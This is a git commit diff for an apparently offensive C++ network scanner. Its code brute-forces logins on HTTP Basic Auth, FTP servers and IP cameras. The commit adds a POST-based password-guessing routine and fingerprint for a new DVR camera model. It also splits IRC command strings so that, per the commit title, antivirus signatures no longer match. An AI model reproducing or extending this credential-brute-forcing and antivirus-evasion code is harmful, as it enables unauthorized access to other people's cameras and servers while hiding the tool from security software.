sjnpgadgf + antiantivirus scrambling.

This commit is contained in:
cora32 2015-01-06 01:11:43 +03:00
parent 4b965e5976
commit b9adb70cef
7 changed files with 507 additions and 374 deletions

View File

@ -46,7 +46,6 @@ void CheckProxyLogic()
else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif #endif
pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(pSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int));
if(pSock == INVALID_SOCKET) if(pSock == INVALID_SOCKET)
{ {
@ -117,7 +116,7 @@ void CheckProxyLogic()
else else
{ {
#pragma region QTGUI_Area #pragma region QTGUI_Area
chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
#pragma endregion #pragma endregion
proxyEnabledFlag = 0; proxyEnabledFlag = 0;
@ -130,7 +129,7 @@ void CheckProxyLogic()
else else
{ {
#pragma region QTGUI_Area #pragma region QTGUI_Area
chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
#pragma endregion #pragma endregion
proxyEnabledFlag = 0; proxyEnabledFlag = 0;
@ -142,7 +141,7 @@ void CheckProxyLogic()
else else
{ {
#pragma region QTGUI_Area #pragma region QTGUI_Area
chPTh->doEmitChangeRedIRCData("[Fail] Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".");
#pragma endregion #pragma endregion
proxyEnabledFlag = 0; proxyEnabledFlag = 0;
}; };

1
ClassDiagram1.cd Normal file
View File

@ -0,0 +1 @@

View File

@ -161,12 +161,12 @@ int OpenConnection(SOCKET *sock, const char *hostname, int port)
struct sockaddr_in addr; struct sockaddr_in addr;
if(strlen(hostname) == 0) if(strlen(hostname) == 0)
{ {
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad IP."); stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad IP.");
return -1; return -1;
}; };
if(port < 0 || port > 65535) if(port < 0 || port > 65535)
{ {
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad port."); stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad port.");
return -1; return -1;
}; };
@ -411,7 +411,6 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n");
sockaddr_in sockAddr; sockaddr_in sockAddr;
SOCKET sock;
#pragma region VerifyBASSL #pragma region VerifyBASSL
if(port == 443) if(port == 443)
{ {
@ -422,6 +421,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
else else
#pragma region VerifyBA #pragma region VerifyBA
{ {
SOCKET sock;
sockAddr.sin_family = AF_INET; sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(port); sockAddr.sin_port = htons(port);
HOSTENT *host; HOSTENT *host;
@ -445,26 +445,40 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
}; };
#endif #endif
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); if(sock != INVALID_SOCKET) {
send(sock, hRqst, strlen(hRqst), 0); if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) {
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst));
ZeroMemory(headerMsg, REQUEST_MAX_SIZE); if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) {
int x = 1;
int xx = 0; if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst));
while(xx < 512) ZeroMemory(headerMsg, REQUEST_MAX_SIZE);
{ int x = 1;
x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); int xx = 0;
if(x <= 0) break;
strncat(headerMsg, hMsgR, x); while(xx < 512)
xx += x; {
ZeroMemory(hMsgR, sizeof(hMsgR)); x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO);
if(x <= 0) break;
strncat(headerMsg, hMsgR, x);
xx += x;
ZeroMemory(hMsgR, sizeof(hMsgR));
};
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg));
} else {
if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError()));
};
} else {
if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError()));
};
} else {
if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError()));
}; };
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); CSSOCKET(sock);
}; };
#pragma endregion #pragma endregion
CSSOCKET(sock);
if(strlen(headerMsg) == 0) if(strlen(headerMsg) == 0)
{ {
@ -473,6 +487,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; };
if(strstr(headerMsg, "401 ") == NULL if(strstr(headerMsg, "401 ") == NULL
&& strstr(headerMsg, ".1 401") == NULL && strstr(headerMsg, ".1 401") == NULL
&& strstr(headerMsg, ".0 401") == NULL && strstr(headerMsg, ".0 401") == NULL
@ -537,7 +552,6 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
char curPass[256] = {0}; char curPass[256] = {0};
int cCode; int cCode;
int cErrCode; int cErrCode;
int x = 1;
int dataSz = 0; int dataSz = 0;
char request[REQUEST_MAX_SIZE] = {0}; char request[REQUEST_MAX_SIZE] = {0};
char recvBuff[4096] = {0}; char recvBuff[4096] = {0};
@ -656,19 +670,38 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
else else
#pragma region BABSEQ-HTTP #pragma region BABSEQ-HTTP
{ {
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
while(WSAGetLastError() == 10038) if(cCode == SOCKET_ERROR) {
{
if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); int errorCode = WSAGetLastError();
CSSOCKET(sock); if(errorCode == 10038) {
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); while(errorCode == 10038)
}; {
if(cCode != SOCKET_ERROR) if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]");
{ CSSOCKET(sock);
x = 1; sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
errorCode = WSAGetLastError();
};
} else {
CSSOCKET(sock);
if(errorCode != 10060)
{
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]");
};
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
} else {
int x = 1;
Activity += strlen(request); Activity += strlen(request);
if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) if(send(sock, request, strlen(request), 0) != SOCKET_ERROR)
@ -697,20 +730,6 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
} }
}
else
{
int WSAErr = WSAGetLastError();
if(WSAErr != 10060)
{
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]");
};
CSSOCKET(sock);
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
}; };
CSSOCKET(sock); CSSOCKET(sock);
}; };
@ -856,8 +875,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
char recvBuff[1024] = {0}, request[64] = {0}; char recvBuff[1024] = {0}, request[64] = {0};
int connectionResult, closedSocket = 1, loginFailedFlag = 0;
SOCKET sockFTP;
sockaddr_in sockAddr; sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET; sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(port); sockAddr.sin_port = htons(port);
@ -885,15 +902,19 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
int passCounter = 1; int passCounter = 1;
int bTO; int bTO;
int x = 0; int x = 0;
int connectionResult, closedSocket = 1, loginFailedFlag = 0;
SOCKET sockFTP;
for(int i = 0; i < MaxLogin; ++i) for(int i = 0; i < MaxLogin; ++i)
{ {
if(globalScanFlag == false) break; if(globalScanFlag == false) break;
if(strlen(loginLst[i]) <= 1) continue; if(strlen(loginLst[i]) <= 1) continue;
for(int j = 0; j < MaxPass; ++j) for(int j = 0; j < MaxPass; ++j)
{ {
if(globalScanFlag == false) break; if(globalScanFlag == false) break;
if(strlen(passLst[j]) <= 1) continue; if(strlen(passLst[j]) <= 1) continue;
if(closedSocket) if(closedSocket)
{ {
closedSocket = 0; closedSocket = 0;
@ -1002,7 +1023,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|| strstr(recvBuff, "from your IP") != NULL) || strstr(recvBuff, "from your IP") != NULL)
{ {
stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")");
closedSocket = 1;
if(j > 0) --j; if(j > 0) --j;
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
Sleep(30000); Sleep(30000);
@ -1246,6 +1266,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; };
Sleep(100); Sleep(100);
if(breakPassLoop) if(breakPassLoop)
@ -1255,6 +1276,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
}; };
}; };
}; };
CSSOCKET(sockFTP); CSSOCKET(sockFTP);
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
@ -1476,23 +1498,30 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
}; };
int recvBuffSize = 0; int recvBuffSize = 0;
int on = 1; linger.l_onoff = 1;
linger.l_onoff = 0; linger.l_linger = 5;
linger.l_linger = 10;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
//CSSOCKET(sock);
//sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
//setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
//int sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
// iError = WSAGetLastError();
//sResult = send(sock, request, strlen(request), 0);
//char r[128419];
//recv(sock, r, 128419, 0);
while(sock == INVALID_SOCKET) while(sock == INVALID_SOCKET)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError()));
CSSOCKET(sock); CSSOCKET(sock);
Sleep(100); Sleep(100);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
}; };
if(iResult == SOCKET_ERROR) if(iResult == SOCKET_ERROR)
{ {
iError = WSAGetLastError(); iError = WSAGetLastError();
@ -1505,7 +1534,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
timeval tv = { gTimeOut, 0 }; timeval tv = { gTimeOut, 0 };
int oldErr = WSAGetLastError(); int oldErr = WSAGetLastError();
iResult = select(sock + 1, &read_fs, NULL, NULL, &tv); iResult = select(sock + 1, NULL, &read_fs, NULL, &tv);
if (iResult == SOCKET_ERROR) if (iResult == SOCKET_ERROR)
{ {
@ -1521,16 +1550,17 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
else else
{ {
int sResult = send(sock, request, strlen(request), 0); int sResult = send(sock, request, strlen(request), 0);
while(sResult == SOCKET_ERROR) while(sResult == SOCKET_ERROR)
{ {
stt->doEmitionRedFoundData("[_EC]Resending: " + QString(ip) + " - " + QString::number(WSAGetLastError()));
CSSOCKET(sock); CSSOCKET(sock);
Sleep(100); Sleep(100);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(sResult == SOCKET_ERROR) continue;
sResult = send(sock, request, strlen(request), 0); sResult = send(sock, request, strlen(request), 0);
}; };
if(sResult != SOCKET_ERROR) if(sResult != SOCKET_ERROR)
{ {
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
@ -1563,11 +1593,43 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
}; };
strncat(recvBuff2, recvBuff, x); strncat(recvBuff2, recvBuff, x);
}; };
if(strstri(recvBuff2, "no request found") != NULL)
{
ZeroMemory(recvBuff2, RECV_MAX_SIZE);
CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
send(sock, request, strlen(request), 0);
x = 1;
while (x > 0)
{
ZeroMemory(recvBuff, sizeof(recvBuff));
x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut, &bTO);
if(x <= 0) break;
Activity += x;
recvBuffSize += x;
if( recvBuffSize > RECV_MAX_SIZE )
{
delete[] recvBuff2;
recvBuff2 = NULL;
CSSOCKET(sock);
++Overl;
CSTR->lowerBuff = new char[11];
strcpy(CSTR->lowerBuff, "[OVERFLOW]");
CSTR->size = 10;
return 0;
};
strncat(recvBuff2, recvBuff, x);
};
};
} }
else else
{ {
++offlines; ++offlines;
stt->doEmitionRedFoundData("[_EC]Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError()));
}; };
}; };
}; };
@ -1577,17 +1639,17 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
++offlines; ++offlines;
if(iError == 10055) if(iError == 10055)
{ {
stt->doEmitionRedFoundData("[SOCKERR 10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
} }
else if(iError == 10049) else if(iError == 10049)
{ {
stt->doEmitionRedFoundData("[ADDR_NOT_AVAIL] " + QString(ip) + stt->doEmitionRedFoundData("[10049] " + QString(ip) +
":" + QString::number(port) + ":" + QString::number(port) +
" - " + QString::number(iError)); " - " + QString::number(iError));
} }
else else
{ {
stt->doEmitionRedFoundData("[Unpredictable error] " + QString(ip) + stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) +
":" + QString::number(port) + ":" + QString::number(port) +
" - " + QString::number(iError)); " - " + QString::number(iError));
}; };
@ -2129,25 +2191,28 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
xx += x; xx += x;
Activity += x; Activity += x;
}; };
if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2));
bool result = true; if(strlen(recvBuff2) > 0) {
for(int i = 0; i < negVector.size(); ++i) bool result = true;
{ for(int i = 0; i < negVector.size(); ++i)
if(strstri(recvBuff2, negVector[i]) != NULL)
{ {
result = false; if(strstri(recvBuff2, negVector[i]) != NULL)
break; {
result = false;
break;
};
}; };
};
if(result) if(result)
{ {
CSSOCKET(sock); CSSOCKET(sock);
return 1; return 1;
}; };
}
}; };
}; };
@ -2208,6 +2273,13 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
negVector.push_back("var check=\"0\""); negVector.push_back("var check=\"0\"");
negVector.push_back("var authLevel =\"0\";"); negVector.push_back("var authLevel =\"0\";");
} }
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
{
negVector.push_back("AAA()");
negVector.push_back("Имя или пароль неверные!");
negVector.push_back("Возврат");
negVector.push_back("HTTP/1.0 302 Found");
}
else else
{ {
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
@ -2386,6 +2458,32 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
}; };
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
}
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
{
strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
strcat(request, itoa(port, tbuff, 10));
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive");
int loginLength = strlen(login);
int passLength = strlen(pass);
int sz = loginLength + passLength + strlen("username=&userpwd=");
char *passString = new char[sz + 1];
ZeroMemory(passString, sizeof(passString));
strcpy(passString, "username=");
strcat(passString, login);
strcat(passString, "&userpwd=");
strcat(passString, pass);
strcat(request, "\r\nContent-Length: ");
char tempBuff[16] = {0};
strcat(request, itoa(sz, tempBuff, 10));
strcat(request, "\r\n\r\n");
strcat(request, passString);
delete []passString;
}; };
int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector);

View File

@ -295,6 +295,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
&& strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL
|| strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL
@ -375,6 +377,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
&& strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
@ -830,17 +834,21 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login,
strcpy(log, "[BA]:"); strcpy(log, "[BA]:");
strcat(log, "<span id=\"hostSpan\"><a href=\"http://"); strcat(log, "<span id=\"hostSpan\"><a href=\"http://");
strcat(log, login); if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) {
strcat(log, ":"); strcat(log, login);
strcat(log, pass); strcat(log, ":");
strcat(log, "@"); strcat(log, pass);
strcat(log, "@");
}
strcat(log, ip); strcat(log, ip);
strcat(log, port); strcat(log, port);
strcat(log, "\"><font color=MediumSeaGreen>"); strcat(log, "\"><font color=MediumSeaGreen>");
strcat(log, login); if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) {
strcat(log, ":"); strcat(log, login);
strcat(log, pass); strcat(log, ":");
strcat(log, "@"); strcat(log, pass);
strcat(log, "@");
}
strcat(log, ip); strcat(log, ip);
strcat(log, port); strcat(log, port);
strcat(log, "</font></a></span> T: <font color=GoldenRod>"); strcat(log, "</font></a></span> T: <font color=GoldenRod>");
@ -1766,6 +1774,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
{ {
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM"); _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM");
} }
else if(flag == 49) //IEORFOREFOX
{
_specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "[IEORFOREFOX] Camera", "Web Authorization", cp, recd, "IEORFOREFOX");
}
else if(flag == 20) //AXIS Camera else if(flag == 20) //AXIS Camera
{ {
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
@ -2338,12 +2350,18 @@ void _getPopupTitle(PathStr *ps, char *str)
} }
else else
{ {
strcat(ps->headr, "[BOUNDARY_ERROR]"); strcat(ps->headr, "[BOUNDARY ERROR]");
}; };
} }
else else
{ {
strcat(ps->headr, "[BOUNDARY_ERROR]"); char temp[32] = {0};
if(strstr(str, "(") != NULL){
strncpy(temp, strstr(str, "("), 32);
strcat(ps->headr, temp);
} else {
strcat(ps->headr, "[No title]");
};
}; };
strcat(ps->headr, "]"); strcat(ps->headr, "]");

View File

@ -1639,7 +1639,8 @@ void nesca_3::SaySmthng()
} }
else strf = ui->shoutBox->text(); else strf = ui->shoutBox->text();
strcpy(temp, "PRIVMSG #"); strcpy(temp, "PRIV");
strcat(temp, "MSG #");
strcat(temp, IRC_CHAN); strcat(temp, IRC_CHAN);
strcat(temp, " :"); strcat(temp, " :");
strcat(temp, "ACTION "); strcat(temp, "ACTION ");
@ -1681,7 +1682,8 @@ void nesca_3::SaySmthng()
} }
else strf = msgP; else strf = msgP;
strcpy(temp, "PRIVMSG "); strcpy(temp, "PRIV");
strcat(temp, "MSG ");
strcat(temp, nickP.toLocal8Bit().data()); strcat(temp, nickP.toLocal8Bit().data());
strcat(temp, " :"); strcat(temp, " :");
strcat(temp, strf.toLocal8Bit().data()); strcat(temp, strf.toLocal8Bit().data());
@ -1731,7 +1733,8 @@ void nesca_3::SaySmthng()
else strf = ui->shoutBox->text(); else strf = ui->shoutBox->text();
if(IRCLogToggled) if(IRCLogToggled)
{ {
strcpy(temp, "PRIVMSG #"); strcpy(temp, "PRIV");
strcat(temp, "MSG #");
strcat(temp, IRC_CHAN); strcat(temp, IRC_CHAN);
strcat(temp, " :"); strcat(temp, " :");
strcat(temp, strf.toLocal8Bit().data()); strcat(temp, strf.toLocal8Bit().data());
@ -3699,7 +3702,7 @@ void nesca_3::appendDefaultText(QString str)
}; };
void nesca_3::appendErrText(QString str) void nesca_3::appendErrText(QString str)
{ {
